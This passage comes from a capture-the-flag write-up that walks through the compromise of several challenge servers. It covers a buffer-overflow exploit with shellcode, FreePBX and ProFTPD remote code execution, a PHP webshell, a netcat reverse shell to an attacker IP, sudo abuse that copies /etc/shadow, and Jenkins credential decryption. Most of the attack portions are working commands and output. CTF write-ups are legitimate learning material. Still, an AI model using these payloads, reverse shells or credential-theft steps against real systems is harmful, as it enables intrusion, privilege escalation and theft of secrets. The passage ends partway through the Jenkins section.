Starting program: /tmp/junk/s/elogger -w Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0B

Program received signal SIGSEGV, Segmentation fault.
0x39684238 in ?? ()
(gdb) info registers
eax            0x0  0
ecx            0x15 21
edx            0x80e02d8  135135960
ebx            0x42366842 1110861890
esp            0xffffd1c0 0xffffd1c0
ebp            0x68423768 0x68423768
esi            0xffffd210 -11760
edi            0x80481e8  134513128
eip            0x39684238 0x39684238
eflags         0x10286  [ PF SF IF RF ]
cs             0x23 35
ss             0x2b 43
ds             0x2b 43
es             0x2b 43
fs             0x0  0
gs             0x63 99

Finally, we use the pattern_offset script to determine the proper offset.

$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1024 -q 0x39684238
[*] Exact match at offset 1016

The script is telling us that the buffer must be 1016 bytes to write to the point where the saved instruction pointer is on the stack. We can test out the theory in gdb.

$ gdb elogger
...
(gdb) r -w `python -c 'print "A"*1016+"BBBB"'`
Starting program: /tmp/junk/s/elogger -w `python -c 'print "A"*1016+"BBBB"'`

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) info registers
eax            0x0  0
ecx            0x15 21
edx            0x80e02d8  135135960
ebx            0x41414141 1094795585
esp            0xffffd280 0xffffd280
ebp            0x41414141 0x41414141
esi            0xffffd2d0 -11568
edi            0x80481e8  134513128
eip            0x42424242 0x42424242
eflags         0x10282  [ SF IF RF ]
cs             0x23 35
ss             0x2b 43
ds             0x2b 43
es             0x2b 43
fs             0x0  0
gs             0x63 99

Ok that worked, 0x42424242 is BBBB in hexadecimal. Now that we control the flow of execution we need to figure out where to jump to. The classic trampoline technique involves changing execution flow to jump to a jmp esp, which will then jump to the stack where our shellcode will be. We can use the ROPgadget tool to find a jmp esp instruction in the binary.

$ ROPgadget --binary elogger --only "jmp" | grep esp
0x08049b08 : jmp esp

Putting it all together we can create a small Python script to build our stack overflow payload.

p = "A"*1016
p += "\x08\x9b\x04\x08"
p += "\x31\xdb\x8d\x43\x17\x99\xcd\x80\x31\xc9\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x8d\x41\x0b\x89\xe3\xcd\x80"
print p

And let’s put the payload into a file.

python sc.py > j.bin

From the final box, download the payload.

curl http://52.32.7.126:8000/s/j.bin -o j.bin

And, pass the payload to the elogger executable on the final box. We now have a root shell and can grab the final flag!

$ elogger -w `cat j.bin`
id
uid=0(root) gid=4243(bob) groups=4243(bob)
ls /root
conglaturation.jpg
create-user
post-install
run.sh
thefinalflag.txt
cat /root/thefinalflag.txt
th1s1sTh3EnDmyFr13nD

# You've made it to the final flag!  Enjoy your choice of prize!
# Hopefully a hoard of you haven't all tied again and forced me to make another challenge.

FreePBX

FreePBX - Foothold

The main site at http://www.cloudiot.us contains a link to http://proxy-west.cloudiot.us/, which states that a FTP server is running on this server, so let’s perform a version scan against the server using nmap.

$ nmap -sV -sC proxy-west.cloudiot.us
...
8080/tcp open  http    Apache httpd 2.4.7 ((Ubuntu))
|_http-open-proxy: Proxy might be redirecting requests
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Apache/2.4.7 (Ubuntu)
| http-title: 404 Not Found
|_Requested resource was config.php
...

Besides the FTP server, there is an Apache web server running on the target server on port 8080. The server presents us the FreePBX web application when we visit http://proxy-west.cloudiot.us:8080/ in a browser. “FreePBX is a web-based open source GUI (graphical user interface) that controls and manages Asterisk (PBX), an open source communication server.” After some Googling I found a number of interesting public vulnerabilities in FreePBX including a remote root exploit. There is a Metasploit module, but the vulnerability writeup describes how to manually exploit the issue as well so I didn’t bother with Metasploit for this challenge. Basically, it is possible to bypass authentication and perform an arbitrary file write into the web root, which leads to remote code execution. Let’s trigger the vulnerability using curl in order to run the id command.

$ curl "http://proxy-west.cloudiot.us:8080/admin/ajax.php" -H "Host: proxy-west.cloudiot.us:8080" -H "Referer: http://proxy-west.cloudiot.us:8080/admin/ajax.php" -H "Connection: keep-alive" -H "Upgrade-Insecure-Requests: 1" --data "module=hotelwakeup&command=savecall&day=now&time="%"2B1 week&destination=/../../../../../../var/www/html/partytime.php&language=<?php system('id');?>"

{"error":{"type":"Whoops\\Exception\\ErrorException","message":"touch(): Unable to create file \/var\/spool\/asterisk\/tmp\/wuc.1550519308.ext.\/..\/..\/..\/..\/..\/..\/var\/www\/html\/partytime.php.call because No such file or directory","file":"\/var\/www\/html\/admin\/modules\/hotelwakeup\/Hotelwakeup.class.php","line":238}}

Now let’s request the partytime.php.call file from the web server using curl, which should now exist in the web root. Notice the HTTP response contains the command output of the id command.

$ curl http://proxy-west.cloudiot.us:8080/partytime.php.call

channel: Local//../../../../../../var/www/html/partytime.php@from-internal
maxretries: 3
retrytime: 60
waittime: 60
callerid: Wake Up Calls <*68>
set: CHANNEL(language)=uid=1000(asterisk) gid=1000(asterisk) groups=1000(asterisk)
application: AGI
data: wakeconfirm.php

Time to poke around for the foothold flag. Let’s see which users have home directories.

$ curl "http://proxy-west.cloudiot.us:8080/admin/ajax.php" -H "Host: proxy-west.cloudiot.us:8080" -H "Referer: http://proxy-west.cloudiot.us:8080/admin/ajax.php" -H "Connection: keep-alive" -H "Upgrade-Insecure-Requests: 1" --data "module=hotelwakeup&command=savecall&day=now&time="%"2B1 week&destination=/../../../../../../var/www/html/partytime.php&language=<?php system('ls -al /home/');?>"

$ curl http://proxy-west.cloudiot.us:8080/partytime.php.call

channel: Local//../../../../../../var/www/html/partytime.php@from-internal
maxretries: 3
retrytime: 60
waittime: 60
callerid: Wake Up Calls <*68>
set: CHANNEL(language)=total 20
drwxr-xr-x 1 root     root     4096 Apr  4  2016 .
drwxr-xr-x 1 root     root     4096 Feb 11 06:25 ..
drwxr-xr-x 1 asterisk asterisk 4096 Dec  8 22:43 asterisk
application: AGI
data: wakeconfirm.php

Let’s peek inside the asterisk user’s home directory.

$ curl "http://proxy-west.cloudiot.us:8080/admin/ajax.php" -H "Host: proxy-west.cloudiot.us:8080" -H "Referer: http://proxy-west.cloudiot.us:8080/admin/ajax.php" -H "Connection: keep-alive" -H "Upgrade-Insecure-Requests: 1" --data "module=hotelwakeup&command=savecall&day=now&time="%"2B1 week&destination=/../../../../../../var/www/html/partytime.php&language=<?php system('ls -al /home/asterisk');?>"

$ curl http://proxy-west.cloudiot.us:8080/partytime.php.call
channel: Local//../../../../../../var/www/html/partytime.php@from-internal
maxretries: 3
retrytime: 60
waittime: 60
callerid: Wake Up Calls <*68>
set: CHANNEL(language)=total 40
drwxr-xr-x 1 asterisk asterisk 4096 Dec  8 22:43 .
drwxr-xr-x 1 root     root     4096 Apr  4  2016 ..
-rw-r--r-- 1 asterisk asterisk  220 Apr  9  2014 .bash_logout
-rw-r--r-- 1 asterisk asterisk 3637 Apr  9  2014 .bashrc
drwxr-xr-x 1 asterisk asterisk 4096 Feb 11 15:57 .gnupg
-rw-r--r-- 1 asterisk asterisk    0 Dec  6 23:56 .odbc.ini
-rw-r--r-- 1 asterisk asterisk  675 Apr  9  2014 .profile
-rw-r--r-- 1 root     root       22 Dec  8 22:43 foothold.txt
application: AGI
data: wakeconfirm.php

Ok great, we found the foothold flag.

$ curl "http://proxy-west.cloudiot.us:8080/admin/ajax.php" -H "Host: proxy-west.cloudiot.us:8080" -H "Referer: http://proxy-west.cloudiot.us:8080/admin/ajax.php" -H "Connection: keep-alive" -H "Upgrade-Insecure-Requests: 1" --data "module=hotelwakeup&command=savecall&day=now&time="%"2B1 week&destination=/../../../../../../var/www/html/partytime.php&language=<?php system('cat /home/asterisk/foothold.txt');?>"

$ curl http://proxy-west.cloudiot.us:8080/partytime.php.call
channel: Local//../../../../../../var/www/html/partytime.php@from-internal
maxretries: 3
retrytime: 60
waittime: 60
callerid: Wake Up Calls <*68>
set: CHANNEL(language)=R3aCh0u7&t0uch$ome0ne
application: AGI
data: wakeconfirm.php

FreePBX - Root

Before we continue we should setup a reverse shell because executing curl twice to run a single OS command is getting tiresome.

First, from your attacking machine, execute the following command to catch the shell.

$ nc -lvp 4444

Next build out a reverse shell PHP payload (change to use your attacking server IP address and port).

system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 52.32.7.126 4444 >/tmp/f');

Then send the payload off using curl.

$ curl "http://proxy-west.cloudiot.us:8080/admin/ajax.php" -H "Host: proxy-west.cloudiot.us:8080" -H "Referer: http://proxy-west.cloudiot.us:8080/admin/ajax.php" -H "Connection: keep-alive" -H "Upgrade-Insecure-Requests: 1" --data "module=hotelwakeup&command=savecall&day=now&time="%"2B1 week&destination=/../../../../../../var/www/html/partytime.php&language=<?php %73%79%73%74%65%6d%28%27%72%6d%20%2f%74%6d%70%2f%66%3b%6d%6b%66%69%66%6f%20%2f%74%6d%70%2f%66%3b%63%61%74%20%2f%74%6d%70%2f%66%7c%2f%62%69%6e%2f%73%68%20%2d%69%20%32%3e%26%31%7c%6e%63%20%35%32%2e%33%32%2e%37%2e%31%32%36%20%34%34%34%34%20%3e%2f%74%6d%70%2f%66%27%29%3b?>"

$ curl http://proxy-west.cloudiot.us:8080/partytime.php.call

If all goes well then we should have a shell.

$ nc -lvp 4444
listening on [any] 4444 ...
68.183.170.188: inverse host lookup failed: Unknown host
connect to [172.31.33.192] from (UNKNOWN) [68.183.170.188] 55512
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1000(asterisk) gid=1000(asterisk) groups=1000(asterisk)

Let’s check if the asterisk user can use the sudo command to execute commands as another user.

$ sudo -l
Matching Defaults entries for asterisk on 1e846cb51426:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User asterisk may run the following commands on 1e846cb51426:
    (root) NOPASSWD: /var/lib/asterisk/bin/amportal

In this case the asterisk user can run the amportal command as root, which appears to be a Bash script unique to FreePBX as documented here.

$ file /var/lib/asterisk/bin/amportal
/var/lib/asterisk/bin/amportal: a /usr/bin/env bash script, ASCII text executable

What is interesting is that we have the ability to read and write to this Bash script.

$ ls -al /var/lib/asterisk/bin/amportal
-rwxr-xr-x 1 asterisk asterisk 2420 Apr  4  2016 /var/lib/asterisk/bin/amportal

Inspecting the amportal script more closely we notice that the Bash script calls another Bash script to perform most of the work (/var/lib/asterisk/bin/freepbx_engine).

$ cat /var/lib/asterisk/bin/amportal
...
for dir in ${AMPBIN} ${ASTVARLIBDIR}/bin /var/lib/asterisk/bin /usr/local/freepbx/bin
do
  # exec the first one we find
  if [ -x "$dir"/freepbx_engine ]; then
    exec "$dir"/freepbx_engine $@
  fi
done
...

Similar to the amportal script, we also have the ability as an unprivileged user to alter the freepbx_engine script.

$ ls -al /var/lib/asterisk/bin/freepbx_engine
-rwxr-xr-x 1 asterisk asterisk 9153 Apr  4  2016 /var/lib/asterisk/bin/freepbx_engine

Let’s make a backup copy of the freepbx_engine script just in case we screw something up.

$ cp /var/lib/asterisk/bin/freepbx_engine /var/lib/asterisk/bin/freepbx_engine.bck

Next let’s replace the freepbx_engine script with our own script that grabs the shadow file and root flag and moves these files to the /tmp directory. Basically we are just abusing the fact that these Bash scripts have improper file permissions and can be executed as the root user via the sudo command.

$ echo '#!/usr/bin/env bash\necho PBX2;mkdir /tmp/j;cp /root/* /tmp/j;cp /etc/shadow /tmp/j;chmod 777 /tmp/j/*;' > /var/lib/asterisk/bin/freepbx_engine

Ok, now for the moment of truth, execute the amportal script using the sudo command.

$ sudo /var/lib/asterisk/bin/amportal

Please wait...
PHP Fatal error:  Uncaught exception 'Whoops\Exception\ErrorException' with message 'date_default_timezone_set(): Timezone ID 'Etc/UTC
' is invalid' in /var/www/html/admin/bootstrap.php:173
Stack trace:
#0 [internal function]: Whoops\Run->handleError(8, 'date_default_ti...', '/var/www/html/a...', 173, Array)
#1 /var/www/html/admin/bootstrap.php(173): date_default_timezone_set('Etc/UTC?')
#2 /etc/freepbx.conf(15): require_once('/var/www/html/a...')
#3 Command line code(5): include_once('/etc/freepbx.co...')
#4 {main}
  thrown in /var/www/html/admin/bootstrap.php on line 173
/var/lib/asterisk/bin/amportal: line 44: Whoops\Exception\ErrorException:: command not found
PBX2

Great, it looks like our code executed as root because the script outputted “PBX2”, and we now have access to a copy of the shadow file and root flag in the /tmp directory.

$ cat /tmp/j/flag.txt
MaB3LL...Sh3'sG0tUbyT3hCaLLz

At this point we can revert the freepbx_engine backup and delete the temporary files.

FTP

FTP - Foothold

The main site at http://www.cloudiot.us contains a link to http://proxy-west.cloudiot.us/, which states that a FTP server is running on this server, so let’s perform a version scan against the server using nmap.

$ nmap -sV -sC proxy-west.cloudiot.us
...
21/tcp   open  ftp     ProFTPD 1.2.10
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--   1 0        0           24592 Dec 10 03:49 TWFyaTA=
| -rwxr-xr-x   1 0        0          662324 Dec 11 04:39 binary
| -rwxr-xr-x   1 0        0          666480 Dec 11 04:39 crackme
| -rwxr-xr-x   1 0        0        536342528 Dec 11 04:27 dump
| -rw-r--r--   1 0        0         5193291 Dec 13 03:08 image
| -rw-r--r--   1 0        0        24494639 Dec 10 03:37 pcapA.pcap
| -rw-r--r--   1 0        0        17155052 Dec 10 03:27 pcapB.pcap
| -rw-r--r--   1 0        0          108350 Dec 11 03:16 pcapC.pcap
|_-rwxr-xr-x   1 0        0        123029486 Dec 10 17:48 snapshot
...

Looks like ProFTPD is running on the target server, but I wasn’t sure if nmap’s version detection was accurate given that the FTP server didn’t return a login banner. Since I didn’t know the software version, I decided to start randomly slinging public exploits against the server. Start up msfconsole and run the proftpd_modcopy_exec exploit.

msf > use exploit/unix/ftp/proftpd_modcopy_exec
msf exploit(unix/ftp/proftpd_modcopy_exec) > set RHOST 68.183.170.188
msf exploit(unix/ftp/proftpd_modcopy_exec) > run

[*] Started reverse TCP handler on 172.31.33.192:4444
[*] 68.183.170.188:80 - 68.183.170.188:21 - Connected to FTP server
[*] 68.183.170.188:80 - 68.183.170.188:21 - Sending copy commands to FTP server
[-] 68.183.170.188:80 - Exploit aborted due to failure: unknown: 68.183.170.188:21 - Failure copying PHP payload to website path, directory not writable?
[*] Exploit completed, but no session was created.

The exploit failed, but the exploit error message implies that the target directory isn’t writable, so let’s look at the exploit options.

msf exploit(unix/ftp/proftpd_modcopy_exec) > show options

Module options (exploit/unix/ftp/proftpd_modcopy_exec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST      68.183.170.188   yes       The target address
   RPORT      80               yes       HTTP port (TCP)
   RPORT_FTP  21               yes       FTP port
   SITEPATH   /var/www         yes       Absolute writable website path
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       Base path to the website
   TMPPATH    /tmp             yes       Absolute writable path
   VHOST                       no        HTTP server virtual host


Payload options (cmd/unix/reverse_perl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  172.31.33.192    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   ProFTPD 1.3.5

Ok, so the SITEPATH option is currently set to /var/www/ which is probably wrong and we forgot to set the LHOST option.

msf exploit(unix/ftp/proftpd_modcopy_exec) > set SITEPATH /var/www/html
SITEPATH => /var/www/html
msf exploit(unix/ftp/proftpd_modcopy_exec) > set LHOST 52.32.7.126
LHOST => 52.32.7.126
msf exploit(unix/ftp/proftpd_modcopy_exec) > run

[-] Handler failed to bind to 52.32.7.126:4444:-  -
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] 68.183.170.188:80 - 68.183.170.188:21 - Connected to FTP server
[*] 68.183.170.188:80 - 68.183.170.188:21 - Sending copy commands to FTP server
[*] 68.183.170.188:80 - Executing PHP payload /lIyPk.php
[*] Command shell session 1 opened (172.31.33.192:4444 -> 68.183.170.188:39482)

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Nice, that worked, let’s grab the foothold flag.

ls -al
total 28
drwxrwxrwx 1 root    root    4096 Jan 15 01:46 .
drwxr-xr-x 1 root    root    4096 Dec 11 02:34 ..
-rwxrwxrwx 1 root    root      14 Dec 11 02:50 FOOTHOLD_CLICKONME.txt
-rwxrwxrwx 1 root    root     351 Dec 10 02:52 index.html
-rw-r--r-- 1 proftpd proftpd   78 Jan 15 01:46 lIyPk.php
-rw-r--r-- 1 proftpd proftpd   78 Jan 15 01:43 pw0Gx.php
cat FOOTHOLD_CLICKONME.txt
Hak1nLi3k@Pr0

FTP - Foothold (without Metasploit)

Servers vulnerable to CVE-2015-3306 are straightforward to exploit manually as well using netcat after reviewing the Metasploit module or this exploit.

$ nc 68.183.170.188 21
220 W3lc0me7oTh3Terr0rd0m3
site cpfr /proc/self/cmdline
350 File or directory exists, ready for destination name
site cpto /tmp/. <?php echo passthru($_GET['cmd']); ?>
250 Copy successful
site cpfr /tmp/. <?php echo passthru($_GET['cmd']); ?>
350 File or directory exists, ready for destination name
site cpto /var/www/html/bd.php
250 Copy successful

Now access the webshell (http://68.183.170.188/bd.php?cmd=id).

proftpd: 52.32.7.126:52860: SITE cpto /tmp/. uid=33(www-data) gid=33(www-data) groups=33(www-data)

FTP - Root

Let’s check if the www-data user can use the sudo command to execute commands as another user.

sudo -l
Matching Defaults entries for www-data on 27e70a5ee879:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on 27e70a5ee879:
    (root) NOPASSWD: /usr/bin/find

The find command has a useful command-line argument that will execute a command against any found files, which we can abuse to execute arbitrary commands as the root user.

sudo /usr/bin/find /etc/passwd -exec id \;
uid=0(root) gid=0(root) groups=0(root)
sudo /usr/bin/find /etc/passwd -exec ls -al /root \;
total 20
drwx------ 1 root root 4096 Dec 11 04:50 .
drwxr-xr-x 1 root root 4096 Jan 14 06:25 ..
-rw-r--r-- 1 root root  570 Jan 31  2010 .bashrc
-rw-r--r-- 1 root root  140 Nov 19  2007 .profile
-rw-r--r-- 1 root root   21 Dec 11 04:50 flag.txt
sudo /usr/bin/find /etc/passwd -exec cat /root/flag.txt \;
3ffTeePeeYe@hUkn0wM3

Jenkins

Jenkins - Foothold

After a TCP port scan of proxy-east.cloudiot.us we find a Jenkins server, which is a continuous intergration server, running on port 8081, and a secondary SSH service running on port 2222.

$ nmap -sV -sC -p- proxy-east.cloudiot.us
...
PORT      STATE    SERVICE  VERSION
...
2222/tcp  open     ssh      OpenSSH 7.4p1 Debian 10+deb9u4 (protocol 2.0)
| ssh-hostkey:
|   2048 a4:eb:d1:2b:0c:37:ab:5c:0d:65:c1:67:f5:7d:fd:0d (RSA)
|   256 70:61:94:1b:27:d0:40:c7:0f:55:cd:9a:20:5a:86:f6 (ECDSA)
|_  256 c9:ae:1d:b3:90:57:cd:0f:b2:f2:86:41:bc:2e:f2:b9 (ED25519)
...
8081/tcp  open     http     Jetty 9.4.z-SNAPSHOT
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
|_http-title: Dashboard [Jenkins]
...

By default, Jenkins has an exposed Groovy script console that allows for arbitrary code execution. Go to http://proxy-east.cloudiot.us:8081/script and then run the following Groovy code.

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'id'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

Excellent, the id command executed under the jenkins user.

out> uid=1000(jenkins) gid=1000(jenkins) groups=1000(jenkins)
 err> 

After some poking around we note that the /var/jenkins_home/ directory contains all the configuration files of Jenkins and the first foothold flag.

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'cat /var/jenkins_home/FIRST_FOOTHOLD.txt'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

Foothold flag 1, acquired.

out> tH1$isMyB00mS7icK!
 err> 

We need to acquire the bob user and admin user passwords to gain additional points. After a couple Google searches we find out that Jenkins stores credentials in an obfuscated form within the credentials.xml file, so let’s grab that next.

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'cat /var/jenkins_home/credentials.xml'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

We now have the bob user and admin user passwords in an encrypted form. Also note that we have the bob user’s SSH private key in an encrypted form.

out> <?xml version='1.1' encoding='UTF-8'?>
<com.cloudbees.plugins.credentials.SystemCredentialsProvider plugin="credentials@2.1.18">
  <domainCredentialsMap class="hudson.util.CopyOnWriteMap$Hash">
    <entry>
      <com.cloudbees.plugins.credentials.domains.Domain>
        <specifications/>
      </com.cloudbees.plugins.credentials.domains.Domain>
      <java.util.concurrent.CopyOnWriteArrayList>
        <com.cloudbees.jenkins.plugins.sshcredentials.impl.BasicSSHUserPrivateKey plugin="ssh-credentials@1.14">
          <scope>GLOBAL</scope>
          <id>f2fc1bbc-ae00-46a3-9d2e-502018eb33fe</id>
          <description>Bob&apos;s SSH key</description>
          <username>bob</username>
          <passphrase>{AQAAABAAAAAQOpOBjyuAoTn0x7cr3tQ7e9+uP6mRrZsxgHWfNAlxMF8=}</passphrase>
          <privateKeySource class="com.cloudbees.jenkins.plugins.sshcredentials.impl.BasicSSHUserPrivateKey$DirectEntryPrivateKeySource">
            <privateKey>{AQAAABAAAAbwrtZ0GSfLtDwFvduUgPr2szkwVV2o9Reia4eB/p/affFymEDtBW+y7cTJKS+cn9Kq94UIUOuNJQNXs6g3yUXajF1od6PZdPULGYvY0j434uu4EG0/xSCANtel/fDRAyR17Or05KHbJwt13uGnCAQkNC1OA0t9LpChOOBSt7mi3ZX9jCjlZeJYiS6z2E4CaUIzmbCI89Oekl2lSEdpukcxF3R8laK7+58mr+nYrDkBHAi75mKr+xzN7AVbM+rGdB7r6wQ/PpmlyM4Q5aK5p+H2hY6DDBjV3NKbw9P/vetiXcP1yllDGd37h8bkCv3uVa5H79kZcbTUy0PR9neLqNclfYmWgb3YQhwmbfeID2mHDsC3O2+RGYVMNxSt/JIzeJCAZa1Mqo4Vmr4ti+SmNW71SXef7Mogp/cBMIjXDOyvwtsug1msWCmYVHYdPvlIz/jKtv3wOuPCwslpnw41EOOsH8OTyt4xJCZX/Q325pWTa3RRD6AHjVUG+t1oM9s20aoauw2VexZ824i+1oVgq5Az8GRMslEZGoYFvvaEOFVVfXkW/tEJ5Ssll08XclWRTAjE5Q43kngLfKqfSwg2JyOIMqjMMqnox0R6BfbeaSRtwQd/f20uir4yBgEeEdxOixUi6lT+34B8IWN2CpOeq2/+UuWiJ68NCTwThqkteHYCdKr13xjIKbLyRAwhTaM1rjOhlbGWV1lV07VQEjDbNlWUm1eqCgbTL1DyoAMG7f8oF5o+8YlS/8u4cuGZ1NoEWGq7CgISg5snF8JB2CHFazHFbZLQOQavlpsYzvO/A3JDjoSgVw+Dl8cyzjwJ74VjsZNg/PoIDtWHMG50doq4PtVjaz7Uh+utsPUpHmLTNA1p1yLXsUR5f8bQlFUlC6cJlTrysx+etDhW//P8AiIAyfAbXRmAtoZ/U49I/V1Q+L0q7AJghTIzWAXKDu4FApjVePATQ4Lpcp6557LE9gbzozUrUbKZK/yC7am+NBpifModhpDf6xtlFgYnxERarjaT1vTUR96XSmdILYzohgL1b3WfBqbflxTCjz+h0YY7htVRnU7grm+2w7ua+8InINqISm+1xNN74WUa/iA42jErbrgd+w5l6olrWEb4fNoJfE5qOQXvDZLo6Vx9yl8NfHQLnltCaPfeHYrw+YgvXwaVedNCyxzET6oHfw8K3yHOJ4akgSWBWqvZAkzBzpEOBtdMc1tfFEW1oUiflyYbIG7bVQu4BV1+QE9RlT7vB2FQBiLIwJKBe6WffFDCBhlcSe/yhLS3QS4IVtGAkm6Axq9koGLA6l7jg9fk6zLtIWQfS3Xskn8pIjTaXNtmKTfOJ+Up52lGkFprcYdj3mbr1XEBFTGnVCROu9ObtAWLayPo8f39f5C1o4j7ZqxO288YHYiplunYlEERsDjQJGbGbTZuocW1VqEpcmljxLEOQqfw2Frb2FjLUHaMPIomNBemHJrCcD5B4dyddAbSo0k/evPn+RDxe1NWq9L0XOvW9ngTnEX+snyQjNmBclQkM/sDkbp1wyq+TIXPBch1d90d1Z8f8fWcWYjFc4iB7BPoz5QwzA8xX76/nq1Rc40zBQTsb6J69P4v5cZ76urbZZqGuTfqi5wTj5P5NJiMmYaJW4Oc3slypGSTYHL5NnVcpFVxJ2BgwRPnrScErzNSsGqqKzvGmCyRAzYvrUiA1xz2Nq7T0kuyLeE6g1c5Yl77hOIiN+uuf2TDQEPe454MzjmoXLOi5IxbmSRbRfaHsitb0JDG7NtHXj7DEGZgY4w74EFu80JKxmSTAl6nNa5CVvo3jcg6ZZglP6CEXzYaWXpu4O1oHNmiFfYE5HnlVJTPASYjMzvxgoaIv8awS7Byla19YTX7Gji5J+FvoujBmj4d89r1ck0aCXFItUsRJZSslN0bXVPe8UdcKEtKVqFsvTNSbXHqo783V9RLXvAmE4XIHpCRtfkkSpsNMWwf2vIG5xWDAElvnvUr+d/nGfEw6OGrpMMuuvVK+xq6GZiqcOjLz74jWQhx7ZsNI6zZUpsUsriucVGSj7jbG+dKRA/PvSH7e0IDI9x3lE5JYLi7uegLfUvsn+//4LKXpkS6fEtgMFHDEXjh08f6Ro/0nMq/nmvCLrlfEHg0ej8WVEdjqudyqOaumfqCuVJc4YULNFeUkA1Zr7xEuAqV5+6NYK1hJJhkdtFoczTg7M04y4/LAfsCt3NCuGVVfxrxcNFIp8crOqy1kDpn08789s32PeRYTZjLOS9xL1YsffwcgXV/xXl3ppjDlBzBabduo1Ap4lLpFJ3U/2Cch6XeIpVcSJ5ALQJCK+aNNV6rXGMOUJ+33XGgNWLAE6MIZc19VPUF5hOOzq6pGC37e7GP9eF5ZVqqh/2sOCAsYwYmJg==}</privateKey>
          </privateKeySource>
        </com.cloudbees.jenkins.plugins.sshcredentials.impl.BasicSSHUserPrivateKey>
        <com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl>
          <scope>GLOBAL</scope>
          <id>740d69a6-48ab-4540-b5e4-77a89f07ca6b</id>
          <description></description>
          <username>admin</username>
          <password>{AQAAABAAAAAQNi3FtSQisOVHJW3FXCvRSdtWtjGS0iMlZgmS0j3bohw=}</password>
        </com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl>
      </java.util.concurrent.CopyOnWriteArrayList>
    </entry>
  </domainCredentialsMap>
</com.cloudbees.plugins.credentials.SystemCredentialsProvider>
 err> 

We don’t need to know the internals of how the password is obfuscated because we can use the hudson.util.Secret class to decrypt the ciphertext. Run the following Groovy code in the script console to acquire bob’s password.

println(hudson.util.Secret.fromString("{AQAAABAAAAAQOpOBjyuAoTn0x7cr3tQ7e9+uP6mRrZsxgHWfNAlxMF8=}").getPlainText())

The output of the script execution is the following.

JINXYBOB

Using the same technique let’s decrypt bob’s SSH private key.

